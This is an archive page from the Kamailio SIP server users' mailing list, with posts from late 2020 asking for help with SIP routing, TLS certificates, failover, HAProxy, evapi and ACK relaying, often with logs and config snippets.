Hi, I want to remove some "Allow" features from my Kamailio SBC like I want to keep following only Allow: OPTIONS, NOTIFY, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, How can I achieve that? Thanks,

2 1

How to DIY/Setup An Open Source IP PBX Appliance/Server?
by Turritopsis Dohrnii Teo En Ming 01 Dec '20

01 Dec '20

Subject: How to DIY/Setup An Open Source IP PBX Appliance/Server? Good day from Singapore, After reading recent reviews, I gather that Asterisk is the gold standard when it comes to open source VoIP systems and it is the most famous open source PBX out there. Article: Compare the Top 10 Best Open Source PBX Software of 2020 Link: https://www.voipreview.org/business-voip/best-open-source-pbx-software Article: Top 10 Free Open Source PBX Software Solutions Link: https://getvoip.com/blog/2016/09/23/best-open-source-pbx-software/ The following is an excerpt from Wikipedia: "Asterisk is a core component in many commercial products and open-source projects. Some of the commercial products are hardware and software bundles, for which the manufacturer supports and releases the software with an open-source distribution model. AskoziaPBX, a fork of the m0n0wall project, uses Asterisk PBX software to realize all telephony functions. AstLinux is a "Network Appliance for Communications" open-source software distribution.[15] FreePBX, an open-source graphical user interface, bundles Asterisk as the core of its FreePBX Distro[16] LinuxMCE bundles Asterisk to provide telephony; there is also an embedded version of Asterisk for OpenWrt routers. PBX in a Flash/Incredible PBX and trixbox are software PBXes based on Asterisk. Elastix previously used Asterisk, HylaFAX, Openfire and Postfix to offer PBX, fax, instant messaging and email functions, respectively, before switching to 3CX. Issabel is an open-source Unified Communications software which uses Asterisk for telephony functions. It was forked from the open-source versions of Elastix when 3CX acquired it. *astTECS uses Asterisk in its VoIP and mobile gateways." Link: https://en.wikipedia.org/wiki/Asterisk_(PBX) I would like to DIY/setup an IP PBX appliance/server using free open source projects. Which free open source project, mentioned in the list and links above, would you recommend to DIY my IP PBX appliance/server? Should I buy a desktop computer or get one of those appliances listed in the link below to serve as my IP PBX appliance/server? Link: https://www.lazada.sg/products/pfsense-iron-metal-case-fanless-intel-celero… Please also refer me to very good, detailed and well explained guides/tutorials/manuals on setting up open source IP PBX appliances/servers. Lastly, please recommend a cheap and affordable IP phone (suggest brand and model) to go along with my DIY open source IP PBX appliance/server. Mr. Turritopsis Dohrnii Teo En Ming, 42 years as of 1st December 2020 Tuesday, is a TARGETED INDIVIDUAL (TI) living in Singapore. Thank you very much. -----BEGIN EMAIL SIGNATURE----- The Gospel for all Targeted Individuals (TIs): [The New York Times] Microwave Weapons Are Prime Suspect in Ills of U.S. Embassy Workers Link: https://www.nytimes.com/2018/09/01/science/sonic-attack-cuba-microwave.html ******************************************************************************************** Singaporean Targeted Individual Mr. Turritopsis Dohrnii Teo En Ming's Academic Qualifications as at 14 Feb 2019 and refugee seeking attempts at the United Nations Refugee Agency Bangkok (21 Mar 2017), in Taiwan (5 Aug 2019) and Australia (25 Dec 2019 to 9 Jan 2020): [1] https://tdtemcerts.wordpress.com/ [2] https://tdtemcerts.blogspot.sg/ [3] https://www.scribd.com/user/270125049/Teo-En-Ming -----END EMAIL SIGNATURE-----

3 2

How to msg_apply_changes in a branch route?
by Anthony Alba 01 Dec '20

01 Dec '20

Is there a way to obtain the effect of msg_apply_changes in a branch route? I want to do: route[BRANCHMANAGE] { rtpengine_manage() msg_apply_changes() // further mangle the SDP with textops for // obtuse UAs } The reason for this, is that after forking, I have some UAs that are extremely picky about SDP, and I need to mangle the body to make them happy. (4000 char limit, 68 attribute limit on SDP body - ever seen that? Compared with the absolutely gigantic OFFERs from WebRTC signalling libraries...) Now rtpengine_manage() and textops are working on separate copies of the msg body and the results don't stack correctly. Cheers Anthony Alba

2 1

vscode-kamailio-syntax - issue with empty comment line
by Chaigneau, Nicolas 01 Dec '20

01 Dec '20

Thanks for the link. One issue I've noticed: If you have an empty comment line (just # on a single line), then the next line is wrongly highlighted as comments. For example: # loadmodule "db_postgres.so" > i'm using https://github.com/miconda/vscode-kamailio-syntax in VScode. > its great! This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

2 4

Re: [SR-Users] [sr-dev] kamailio SIP and RTP proxy
by Henning Westerholt 01 Dec '20

01 Dec '20

Hi Patrick, better to contact our sr-users list with the usage related questions, added to CC. Have a look to the SDP of the SIP packets to see if it contains the correct IP would be one idea to debug this further. Feel free to ask again on sr-users after you have got more details. Cheers, Henning -- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.com<https://gilawa.com/> From: sr-dev <sr-dev-bounces(a)lists.kamailio.org> On Behalf Of Patrick Leybag Sent: Wednesday, November 25, 2020 6:26 AM To: sr-dev(a)lists.kamailio.org Subject: [sr-dev] kamailio SIP and RTP proxy Hi, Can someone help me? I self host a kamailio using my raspberry pi as a load balancer for my two asterisk servers and get a did number. when I call to my DID number it points to my kamailio and kamailio will distribute to asterisk server but the call has no audio. I tried port forwarding ports 5060 for SIP and 10000-20000 for RTP but it still does not work. Any help is much appreciated. Thank you in advance

1 0

Kamailio Failover
by Rolly Casuga Jr. 01 Dec '20

01 Dec '20

Hi, I am having a problem on fail overing my master kamailio server and slave kamailio server. I use kamailio as a load balancer for my asterisk servers. And it is working with calls, but when I added failover with keepalived to the slave, there is no audio during calls. Thank you, Rolly

2 1

Kamailio behind HAProxy
by Joey Golan 01 Dec '20

01 Dec '20

Hello, I have a kamailio server running behind HAProxy with proxy protocol v2 enabled. In Kamailio I have set the parameter tcp_accept_haproxy=yes and loaded tcpops module. UEs are registered using TLS and kamailio sees that the message has received from their real ip address + port and not HAProxy ip + port. When UE A calls UE B, kamailio is trying to reach UE B using his real ip address and port instead of HAProxy IP address + port. I know I can get the tcp ip and port of HAProxy using $tcp(c_si) and $tcp(c_sp) but I can’t make it work. What is the right way to do this? How should I use these variables properly in order to establish the call successfully? Thanks, Joey.

6 14

core dump error when running under docker
by Carlos Vicente 30 Nov '20

30 Nov '20

Greetings, I'm having a "fun" time trying to run Kamailio inside a Docker container. It keeps failing with: 0(238) DEBUG: <core> [core/mem/pkg.c:108]: pkg_print_manager(): pkg - using memory manager: q_malloc 0(238) DEBUG: <core> [core/mem/shm.c:300]: shm_print_manager(): shm - using memory manager: q_malloc Illegal instruction (core dumped) Unfortunately the core dump is nowhere to be found. I have tried to follow the instructions at: https://www.kamailio.org/wiki/tutorials/troubleshooting/coredumpfile but that hasn't helped. The environment is as follows: * Host hardware: Raspberry Pi 4 (4G memory) * Host OS: Ubuntu 20.04.1 LTS * Docker version 19.03.13 * Docker base image: arm32v7/ubuntu root@2ef8a21534fa:/# kamailio -v version: kamailio 5.3.2 (arm/linux) flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT-NOSMP, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled with gcc 9.2.1 The config file passes the syntax check: kamailio -c -f /etc/kamailio/kamailio.cfg and, the most interesting part, if I run Kamailio on the host machine, _with the exact same config file_, it runs fine. I'd appreciate any clues you may have. Thanks. cv

4 10

What is the lifecycle of Branch Flag (setbflag)
by me.projects＠yahoo.com 30 Nov '20

30 Nov '20

Hi, What is the lifecycle of Branch Flag? If its set in Request Route will it be available till end of Dialog or It will be available during Transaction only ? Thanks

3 5

[Mod: CDP] TCP Zero Window Error
by Hamid Hashmi 27 Nov '20

27 Nov '20

Dear Users I have been facing a diameter peer disconnection issue between I-CSCF and HSS. after taking traces on both sides, I saw a lot of TCP Zero Window packets from HSS towards I-CSCF and after that HSS disconnects with the following errors in the log. Nov 26 20:30:25 PROD-HSS-STANDBY [HSS][16401]: ERROR: cdp [peerstatemachine.c:157]: sm_process(): sm_process(): In state Closed invalid event Timeout Nov 26 20:31:25 PROD-HSS-STANDBY [HSS][16401]: ERROR: cdp [peerstatemachine.c:157]: sm_process(): sm_process(): In state Closed invalid event Timeout Nov 26 20:32:25 PROD-HSS-STANDBY [HSS][16401]: ERROR: cdp [peerstatemachine.c:157]: sm_process(): sm_process(): In state Closed invalid event Timeout Nov 26 20:33:04 PROD-HSS-STANDBY systemd[1]: Stopping LSB: Start the Kamailio SIP proxy server... Nov 26 20:33:04 PROD-HSS-STANDBY kamailio_hss[18098]: Stopping Kamailio SIP Server: kamailio_hss:. Nov 26 20:33:04 PROD-HSS-STANDBY systemd[1]: kamailio_hss.service: Succeeded. Nov 26 20:33:04 PROD-HSS-STANDBY systemd[1]: Stopped LSB: Start the Kamailio SIP proxy server. Nov 26 20:33:04 PROD-HSS-STANDBY [HSS][16274]: CRITICAL: cdp [diameter_peer.c:423]: diameter_peer_destroy(): destroy_diameter_peer(): Bye Bye from C Diameter Peer test Nov 26 20:33:07 PROD-HSS-STANDBY systemd[1]: Starting LSB: Start the Kamailio SIP proxy server... Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: Starting Kamailio SIP Server: kamailio_hss:loading modules under config path: /usr/local/lib64/kamailio/modules/:/usr/lib64/kamailio/modules_k/:/usr/lib64/kamailio/modules/:/usr/local/lib/kamailio/modules/ Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: Listening on Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: udp: 10.161.224.81 [10.161.224.81]:8080 Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: tcp: 127.0.0.1 [127.0.0.1]:5090 Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: tcp: 10.161.224.81 [10.161.224.81]:8080 Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: Aliases: Nov 26 20:33:07 PROD-HSS-STANDBY [HSS][18155]: WARNING: sl [../../modules/tm/tm_load.h:149]: load_tm_api(): Cannot import load_tm function from tm module Nov 26 20:33:07 PROD-HSS-STANDBY [HSS][18155]: WARNING: sl [../../modules/tm/tm_load.h:149]: load_tm_api(): Cannot import load_tm function from tm module Nov 26 20:33:07 PROD-HSS-STANDBY [HSS][18281]: WARNING: cdp [tcp_accept.c:120]: create_socket(): create_socket(): Trying to open/bind/listen on 10.161.224.81 port 3868 Nov 26 20:33:07 PROD-HSS-STANDBY [HSS][18281]: WARNING: cdp [tcp_accept.c:145]: create_socket(): create_socket(): Successful socket open/bind/listen on 10.161.224.81 port 3868 Nov 26 20:33:07 PROD-HSS-STANDBY kamailio_hss[18138]: . Nov 26 20:33:07 PROD-HSS-STANDBY systemd[1]: Started LSB: Start the Kamailio SIP proxy server. Nov 26 20:38:44 PROD-HSS-STANDBY [HSS][18282]: WARNING: cdp [peermanager.c:310]: peer_timer(): Inactivity on peer [icscfcdp2.ims.mnc006.mcc410.3gppnetwork.org] and no DWA, Closing peer... Nov 26 20:39:01 PROD-HSS-STANDBY systemd[1]: Starting Clean php session files... Nov 26 20:39:01 PROD-HSS-STANDBY systemd[1]: phpsessionclean.service: Succeeded. Nov 26 20:39:01 PROD-HSS-STANDBY systemd[1]: Started Clean php session files. Nov 26 20:39:20 PROD-HSS-STANDBY [HSS][18282]: ERROR: cdp [peerstatemachine.c:157]: sm_process(): sm_process(): In state Closed invalid event Timeout I am using the following Kamailio version Distributor ID: Debian Description: Debian GNU/Linux 10 (buster) Release: 10 Codename: buster Version: kamailio 5.2.8 (x86_64/linux) 5a7f5b Default config: /usr/local/etc/kamailio/kamailio.cfg Default paths to modules: /usr/local/lib64/kamailio/modules Compile flags: STATS: Off, USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MEM, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES MAX_RECV_BUFFER_SIZE=262144 MAX_URI_SIZE=1024 BUF_SIZE=65535 DEFAULT PKG_SIZE=8MB DEFAULT SHM_SIZE=64MB ADAPTIVE_WAIT_LOOPS=1024 TCP poll methods: poll, epoll_lt, epoll_et, sigio_rt, select Source code revision ID: 5a7f5b Compiled with: gcc 8.3.0 Compiled on: 04:34:39 Nov 19 2020 How I can resolve TCP Zero Window Error? I have already tried increasing CDP worker threads, TCP read and write buffers etc. Regards Hamid R. Hashmi

2 1

handling of locally generated 478 errors
by Henning Westerholt 27 Nov '20

27 Nov '20

Hello, I want to ask for your opinion on the best approach regarding the handling of locally generated 478 errors. To give an example, like the ones generated from TM during t_relay() on an unresolvable destination. Nov 25 17:40:13 kamailio[19345]: ERROR: {28607414 INVITE bba500ac-a9df-1239-6693-00505682c04d} tm [ut.h:286]: uri2dst2(): failed to resolve "invalid.skalatan.de" :unresolvable A or AAAA request (-7) Nov 25 17:40:13 kamailio[19345]: ERROR: {28607414 INVITE bba500ac-a9df-1239-6693-00505682c04d} tm [t_fwd.c:1738]: t_forward_nonack(): failure to add branches Nov 25 17:40:13 kamailio[19345]: CRITICAL: {28607414 INVITE bba500ac-a9df-1239-6693-00505682c04d} rtpengine [../../core/parser/../ip_addr.h:658]: ip_addr2sbuf(): unknown address family 0 These errors will not show up in onreply or failure_route. A long time ago this was discussed on the list [1], as some functionality were phased out out that support these scenarios. Kamailio will try to generate a 478 with TM, this will obviously fail as well, and then generate a 478 with SL. Question 1) Is this intentional that the internally generated 478 is not showing up in the failure_route, like for for 408? This has been tested several times, but it is a complicated configuration. Question 2) Are there any other (better) ideas how to handle that besides using a "event_route[sl:local-response]" to catch this, e.g. to tear down otherwise stale rtpengine sessions etc..? As a side note, event_route[tm:local-response] seems not to work as well because of the tm failure. Thanks, Henning [1] https://lists.kamailio.org/pipermail/sr-users/2011-June/069020.html -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

2 4

Setup IMS solution with Kamailio
by Abidi Adnen 27 Nov '20

27 Nov '20

Greetings , i am around to setup an IMS solution based on your Kamailio solution however i cant find a clear guide to dit properly. I am seeking by this mail you guide to could achieve my setup Thanks and BR, Adnen

2 1

issues using evapi module
by David Escartin 26 Nov '20

26 Nov '20

Dear all We are trying to use the evapi module to send some data to an external application but I'm having problems getting the clients connected. I have the kamailio (version 5.3) running with a tcp socket 127.0.0.1:8228, and the evapi params are just modparam("evapi", "workers", 4) modparam("evapi", "netstring_format", 0) modparam("evapi", "bind_addr", "127.0.0.1:8448") modparam("evapi", "max_clients", 32) I tried a different number of workers and netstring_format 1 too. When I start the kamailio i added some debug to the code, and seems when doing the mod init of the evapi dispatcher 38(4779) DEBUG: <core> [core/sr_module.c:779]: init_mod_child(): idx 38 rank -2: evapi [EvAPI Dispatcher] it reaches to while(1) { ev_loop (loop, 0); } at evapi_run_dispatcher function. I guess if I connected to the tcp socket and sent some event, I would see the client accepted and the event route evapi:connection-new would be triggered. But i'm not able to do that. I tried to use the prime option, a tcp input client connection from logstash, so i could relay the data to the logstash using the evapi relay, but i only see the tcp socket being created but no client accepted. I also tried to connect with an erlang gen_tcp client, but it's the same i only see 47(4798) DEBUG: <core> [core/ip_addr.c:229]: print_ip(): tcpconn_new: new tcp connection: 127.0.0.1 47(4798) DEBUG: <core> [core/tcp_main.c:1174]: tcpconn_new(): on port 54537, type 2, socket 105 47(4798) DEBUG: <core> [core/tcp_main.c:1497]: tcpconn_add(): hashes: 1117:1187:1505, 1 47(4798) DEBUG: <core> [core/io_wait.h:375]: io_watch_add(): DBG: io_watch_add(0xad0880, 105, 2, 0x7fc211712d58), fd_no=53 and if i try to send any data 47(4798) DEBUG: <core> [core/io_wait.h:600]: io_watch_del(): DBG: io_watch_del (0xad0880, 105, -1, 0x0) fd_no=54 called 47(4798) DEBUG: <core> [core/tcp_main.c:4456]: handle_tcpconn_ev(): sending to child, events 1 47(4798) DEBUG: <core> [core/tcp_main.c:4129]: send2child(): selected tcp worker idx:0 proc:43 pid:4791 for activity on [tcp:127.0.0.1:8448], 0x7fc211712d58 43(4791) DEBUG: <core> [core/tcp_read.c:1749]: handle_io(): received n=8 con=0x7fc211712d58, fd=39 43(4791) DEBUG: <core> [core/io_wait.h:375]: io_watch_add(): DBG: io_watch_add(0xb3c720, 39, 2, 0x7fc211712d58), fd_no=1 43(4791) DEBUG: <core> [core/io_wait.h:600]: io_watch_del(): DBG: io_watch_del (0xb3c720, 39, -1, 0x10) fd_no=2 called 43(4791) DEBUG: <core> [core/tcp_read.c:1671]: release_tcpconn(): releasing con 0x7fc211712d58, state 1, fd=39, id=1 ([127.0.0.1]:54537 -> [127.0.0.1]:8448) 43(4791) DEBUG: <core> [core/tcp_read.c:1672]: release_tcpconn(): extra_data (nil) 47(4798) DEBUG: <core> [core/tcp_main.c:3559]: handle_tcp_child(): reader response= 7fc211712d58, 1 from 0 47(4798) DEBUG: <core> [core/io_wait.h:375]: io_watch_add(): DBG: io_watch_add(0xad0880, 105, 2, 0x7fc211712d58), fd_no=53 47(4798) DEBUG: <core> [core/tcp_main.c:3686]: handle_tcp_child(): CONN_RELEASE 0x7fc211712d58 refcnt= 1 and when i try to send any data 38(10867) DEBUG: evapi [evapi_dispatch.c:610]: evapi_recv_notify(): received [0x7f17d23fc628] [{"test" : "1.1.1.1", "uuid" : "1-31629(a)3.3.3.3" , "pdd" : "4"}] (75) 38(10867) DEBUG: evapi [evapi_dispatch.c:316]: evapi_dispatch_notify(): the message was sent to 0 clients I don't know what i'm missing, or if i'm understanding the use of the module correctly could you please take a look? thanks a lot David -- [image: Logo] David Escartín Almudévar VoIP/Switch Engineer descartin(a)sonoc.io *SONOC* C/ Josefa Amar y Borbón, 10, 4ª · 50001 Zaragoza, España Tlf: +34 917019888 · www.sonoc.io

2 5

Location Fields Address vs Received
by Daniel Greenwald 25 Nov '20

25 Nov '20

On a usrloc record there is an Address field and Received field. The Received field is sometimes not set. What causes it to be not set and what is the difference between the two fields. Sorry if this is a dumb question, I looked at documentation but couldn't find it spelled out. Here is are 2 examples from kamcmd ul.dump: { AoR: utkcf9b6h3(a)ata.phaxio.com Contacts: { Contact: { Address: sip:utkc4ff9b6h3@69.78.34.56:4615;transport=tcp Expires: 42 Q: -1.000000 Call-ID: d1c314305df3d342(a)192.168.0.3 CSeq: 129173 User-Agent: OBIHAI/OBi200-3.2.2.5898 Received: [not set] Path: [not set] State: CS_NEW Flags: 0 CFlags: 0 Socket: tcp:10.0.22.254:5060 Methods: 7839 Ruid: uloc-5fbdd369-491e-4 Instance: <urn:uuid:00000000-0000-0000-0000-9cadef62b3da> Reg-Id: 0 Server-Id: 0 Tcpconn-Id: 58 Keepalive: 0 Last-Keepalive: 1606317577 Last-Modified: 1606317577 } } } Contact: { Address: sip:mfjngfd272av@192.168.0.106:5060 Expires: 30 Q: -1.000000 Call-ID: 67413de375b2e76c(a)192.168.0.106 CSeq: 146320 User-Agent: OBIHAI/OBi300-3.2.2.5921 Received: sip:70.34.56.78:5060 Path: [not set] State: CS_NEW Flags: 0 CFlags: 64 Socket: udp:10.0.22.254:5060 Methods: 7839 Ruid: uloc-5fbdd369-490e-efa3 Instance: <urn:uuid:00000000-0000-0000-0000-9cadef810877> Reg-Id: 0 Server-Id: 0 Tcpconn-Id: -1 Keepalive: 1 Last-Keepalive: 1606314719 Last-Modified: 1606314719 }

2 1

Next online devel meeting - Wed, Nov 25, 2020, 15:00UTC
by Daniel-Constantin Mierla 25 Nov '20

25 Nov '20

Hello, in order to plan the roadmap to next major release, it is time to organize another online devel meeting, so the developers and community members can syncronize and plan what should be done till Kamailio v5.5 will be out. Because freenode.net service is requiring user registration to join IRC channels on their servers, the meeting will be done on a matrix chat room. More details are in the wiki page of the event, available at: * https://www.kamailio.org/wiki/devel/irc-meetings/2020b Feel free to add there topics that you want to be discussed. The proposed date is next Wednesday, November 25, 2020, at 15:00UTC (15:00 London/Dublin, 16:00 most of West Europe, 10:00 New York), but other dates can be proposed if they suit for more participants. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

3 5

tsilo: ts_append() cannot find the ts_store() data
by Anthony Alba 25 Nov '20

25 Nov '20

Hi, having tsilo + PUSH problem. My probIem is no matter how I ts_store() the data, ts_append() cannot find any matching uri ERROR: tsilo [ts_append.c:64]: ts_append(): failed to retrieve record for sip:david@voice.example.com In route[LOCATION] { ts_store("sip:$tU@voice.example.com") } in route[PUSHJOIN] { ts_append("location", "sip:$tU@voice.example.com") } ts.dump looks like this { "jsonrpc": "2.0", "result": { "Size": 2048, "R-URIs": { "R-URI": "sip:david@192.168.122.7:5060;ob", "Hash": 57095964, "Transactions": { "Transaction": { "Tindex": 15146, "Tlabel": 805874386 } } }, "Stats": { "RURIs": 1, "Max-Slots": 1, "Transactions": 1 } }, "id": 43582 } Thanks Anthony Alba

3 7

kamailio.cfg fomatter
by marek 25 Nov '20

25 Nov '20

hi, i'm using https://github.com/miconda/vscode-kamailio-syntax in VScode. its great! But i need format code. Are there some formatters for kamailio.cfg? It can be for other editors than VScode. Marek

6 9

ACK Relay Issue Transaction Not Found
by me.projects＠yahoo.com 24 Nov '20

24 Nov '20

Hi When ACK is received on Kamailio from PBX t_check_trans() fails. 200 OK sent PBX from Teams and ACK from PBX is provided here. What could be the issue. SIP/2.0 200 OK FROM: "Ext1"<sip:1102@PBX_IP>;tag=e08f0a03-1120-4e13-b0e2-90d1a027c05f TO: <sip:1101@KAM_IP>;tag=e667397cb47c457a860222931e320b41 CSEQ: 25772 INVITE CALL-ID: a6685754-b402-4a15-82b2-5fb2551e5b58 VIA: SIP/2.0/UDP PBX_IP:7790;received=PBX_IP;branch=z9hG4bKPj170912fc-0908-40bb-8248-9f6cb560332d;rport=7790 RECORD-ROUTE: <sip:sip-du-a-us.pstnhub.microsoft.com:5061;transport=tls;lr>,<sip:sbc.callsprout.com;transport=tls;ftag=e08f0a03-1120-4e13-b0e2-90d1a027c05f;lr>,<sip:KAM_IP:7790;transport=udp;ftag=e08f0a03-1120-4e13-b0e2-90d1a027c05f;lr> CONTACT: <sip:api-du-b-usea.pstnhub.microsoft.com:443;x-i=c825abba-7203-442c-8461-994522d14365;x-c=25f3c2ce3a635971b809dc3be872e51b/s/1/63c9eea743284db99366cabf5f7dcbf5;ias=52.114.132.46~5061~3> CONTENT-LENGTH: 353 SUPPORTED: timer CONTENT-TYPE: application/sdp ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY REQUIRE: timer SESSION-EXPIRES: 1800;refresher=uac SERVER: Microsoft.PSTNHub.SIPProxy v.2020.11.16.5 i.USEA.5 X-Siptrace-Fromip: tls:KAM_IP:7790 X-Siptrace-Toip: udp:PBX_IP:7790 X-Siptrace-Time: 1606205334 607029 X-Siptrace-Method: INVITE X-Siptrace-Dir: out ACK sip:api-du-b-usea.pstnhub.microsoft.com:443;x-i=c825abba-7203-442c-8461-994522d14365;x-c=25f3c2ce3a635971b809dc3be872e51b/s/1/63c9eea743284db99366cabf5f7dcbf5;alias=.114.132.46~5061~3 SIP/2.0 Via: SIP/2.0/UDP PBX_IP:7790;rport;branch=z9hG4bKPjaa30c14c-c965-473d-bc49-9f223f9f634c From: "Ext1" <sip:1102@PBX_IP>;tag=e08f0a03-1120-4e13-b0e2-90d1a027c05f To: <sip:1101@KAM_IP>;tag=e667397cb47c457a860222931e320b41 Call-ID: a6685754-b402-4a15-82b2-5fb2551e5b58 CSeq: 25772 ACK Route: <sip:KAM_IP:7790;lr;ftag=e08f0a03-1120-4e13-b0e2-90d1a027c05f> Route: <sip:sbc.callsprout.com;transport=tls;lr;ftag=e08f0a03-1120-4e13-b0e2-90d1a027c05f> Route: <sip:sip-du-a-us.pstnhub.microsoft.com:5061;transport=tls;lr> Max-Forwards: 70 User-Agent: Asterisk Content-Length: 0 X-Siptrace-Fromip: udp:PBX_IP:7790 X-Siptrace-Toip: udp:KAM_IP:7790 X-Siptrace-Time: 1606205334 615495 X-Siptrace-Method: ACK X-Siptrace-Dir: in

5 10

How to route to calls to asterisk
by Mihai Cezar 23 Nov '20

23 Nov '20

Hi all, I need some help on getting to work my scenario: I have 3 asterisk servers, and every agents (soft phones like zoiper) is connecting to which server they need by contacting the PublicIP of each server. (the problem is that I need to reuse the IP address on others servers) . I want if is possible to use a proxy like "haproxy" but for sip to redirect the agents (softphones), to their coresponding server. For example: - james(a)ast.example.com -> must register to asterisk server 1, - sarah(a)ast2.exampe.com -> must register to asterisk server 2 - andy(a)ast3.example.com-> must register to asterisk server 3 ast.example.com, ast2.example.com, ast3.example.com = will share all the same ip, when the request arrives in the proxy it should check the vhost and redirect to the coresponding server for registering. Any hints and how to do this scenario?

2 3

ACK Not Relayed to MS Teams
by me.projects＠yahoo.com 23 Nov '20

23 Nov '20

Hi, I am integrating PBX with Teams via Kamailio Call is working but ACK delivery has an issue This is the ACK Kamailio receives from PBX I process the ACK with handle_ruri_alias(); and record_route_preset(AS per GUIDE LINES) But this change is not reflected in RELAY ACK from PBX ACK sip:api-du-b-usea.pstnhub.microsoft.com:443;x-i=0c344c6a-cd75-4095-9891-bf9445c28b82;x-c=5691aa770226562db7d3e16ab090e196/s/1/e857255ef2344e03bd1d12e270ef5e6c;ias=52.114.132.46~5061~3 SIP/2.0 Via: SIP/2.0/UDP PBX_IP:7790;rport;branch=z9hG4bKPjc50440d0-77db-4467-94cb-2f93c4f88538 From: "USER" <sip:13300@PBX_IP>;tag=ab87b9b5-eee3-420c-8472-2eec82a769ac To: <sip:1508@KAMAILIO_IP>;tag=a2ce378b106949cf8bac8f978bb573fb Call-ID: 3dbc6680-fec3-4ba5-8232-6dda8c669bca CSeq: 23811 ACK Route: <sip:KAMAILIO_IP:7790;lr;ftag=ab87b9b5-eee3-420c-8472-2eec82a769ac> Route: <sip:sbc.KAMAILIO_FQDN.com;transport=tls;lr;ftag=ab87b9b5-eee3-420c-8472-2eec82a769ac> Route: <sip:sip-du-a-us.pstnhub.microsoft.com:5061;transport=tls;lr> Max-Forwards: 70 User-Agent: Asterisk Content-Length: 0 X-Siptrace-Fromip: udp:PBX_IP:7790 X-Siptrace-Toip: udp:KAMAILIO_IP:7790 X-Siptrace-Time: 1606135546 516717 X-Siptrace-Method: ACK X-Siptrace-Dir: in

2 3

textops.subst_uri does not change all branches
by Anthony Alba 23 Nov '20

23 Nov '20

Hello kamailioers, Version 5.4.2. I have a R-URI that I need to change TLS -> TCP in all branches. I do this in request route before t_relay: // AoR has multiple contacts, all with transport=TLS route[REQUEST] { textops.subst_uri("/transport=TLS/transport=TCP/i") //parallel forking //why doesn't this change all branches? t_relay() } If I print out the R-URI in the branch route, I see that only the first R-URI is changed, in the other branches the R-URI transport=TLS is not changed to transport=TCP. Any suggestions on how to get this to work across all Contact addresses? Thanks Anthony Alba

2 1

Issue with ca-list
by George Goglidze 20 Nov '20

20 Nov '20

Hi Folks, I was wondering if somebody could help me with an issue. I’m a newbie here, just installing Kamailio sip server. I’ve enabled TLS, and am trying create a SIP Trunk to external SIP Service which is TLS enabled port 5061. I’ve configured the following in tls.cfg: [server:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /etc/kamailio/certs/sbc-private.pem certificate = /etc/kamailio/certs/godaddy.pem ca_list = /etc/kamailio/certs/calist.pem In the section above – ca_list = calist.pem contains all the CA’s and Subordinates of the destination server. Private_key and certificate are of my own server (public godaddy signed) [client:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /etc/kamailio/certs/sbc-private.pem certificate = /etc/kamailio/certs/godaddy.pem ca_list = /etc/kamailio/certs/godaddyca.pem In the section above the ca_list is godaddy’s ca and subordinate. In the wireshark I can see that I’m sending out SIP OPTIONS PING (I’m using dispatcher module). Then the server replies with tls SERVER HELLO which includes it’s certificate But for some reason we are rejecting it: Alert (level: fatal, Description: Unknown CA) How should I set this up to make sure the remote server CA’s are verified? Thank you,

3 9

t_uac_send function with From tag
by João Vitor Arruda 20 Nov '20

20 Nov '20

Hello, I'm trying to use the function t_uac_send inside a failure_route as described in https://kamailio.org/docs/modules/5.3.x/modules/tm.html#tm.f.t_uac_send to send a CANCEL out. Although the documentation says "it can include From/To tags" i was not able to get the from tag provided to be used. Another random generated one is used. I've tried the following format without success: t_uac_send("CANCEL", "$ru", "", "", "From: <$fu>;tag=$ft\r\nTo: $tu\r\nCall-ID: $ci\r\n", "") t_uac_send("CANCEL", "$ru", "", "", "From: $fu;tag=$ft\r\nTo: $tu\r\nCall-ID: $ci\r\n", "") t_uac_send("CANCEL", "$ru", "", "", "From: bob(a)kamailio.org;tag=2w3e\r\nTo: $tu\r\nCall-ID: $ci\r\n", "") In the last one which is copied from the documentation that is how the >From header going out looks like: From: <bob(a)kamailio.org;tag=2w3e>;tag=3393f0703fb0ccaca74109ff37de39f5-36d71ef0 Any tips on how to get the From tag passed to the function to be used? Thanks, Joao Arruda

2 6

Kamailio suddenly stopes responding to sip messages
by Uttam Giri 19 Nov '20

19 Nov '20

